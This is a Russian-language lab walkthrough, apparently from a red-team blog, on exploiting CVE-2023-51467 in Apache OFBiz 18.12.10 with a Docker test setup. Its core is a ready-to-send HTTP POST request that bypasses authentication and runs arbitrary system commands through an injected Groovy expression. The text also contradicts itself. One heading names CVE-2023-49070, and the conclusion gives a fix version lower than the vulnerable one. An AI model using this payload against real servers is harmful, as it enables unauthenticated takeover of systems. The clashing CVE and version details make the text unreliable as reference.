January 19, 2024

Apache OFBiz CVE-2023-51467

Введение

5 декабря 2023 года в Apache OFBiz был найден критический баг, приводящий к удаленному выполнению кода без аутентификации. Разработчик исправил ошибку в версии 18.12.10, однако после исправления появилась другая ошибка, также приводящая к обходу аутентификации с RCE путем внедрения Groovy-выражения. Этой ошибке был присвоен идентификатор CVE-2023-51467 и 9.8 баллов по CVSS.

В этой статье мы подготовим стенд и разберем уязвимость CVE-2023-51467.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Подготовка

Для эксплуатации уязвимости мы скачаем докер контейнер с уязвимой версией ПО с vulhub, как в прошлой статье:

docker pull vulhub/ofbiz:18.12.10 # - скачиваем версию 18.12.10 
docker run -p 8443:8443 vulhub/ofbiz:18.12.10

Либо мы можем скачать compose-файл с репозитория GitHub и запустить контейнер командой:

docker-compose up

Разбор уязвимости CVE-2023-49070

Когда наш образ полностью запустится, мы увидим на порту 8443 следующее:

Внедрение Groovy-выражения происходит в точке /webtools/control/ProgramExport/ с указанием следующих параметров:

  • USERNAME=
  • PASSWORD=
  • requirePasswordChange=Y

В результате некорректной проверки на аутентификационные данные, мы можем внедрить выражение на языке Groovy, передав параметр groovyProgram в теле запроса:

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 
Host: localhost:8443 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 55 

groovyProgram=throw+new+Exception('COMMAND'.execute().text);

Таким образом мы можем выполнять команды на целевом сервере:

Заключение

В этой статье мы развернули уязвимую версию Apache OFBiz 18.12.10 и рассмотрели как эксплуатировать уязвимость CVE-2023-51467. Данная ошибка была исправлена разработчиком в версии 18.09.11 следующими правками.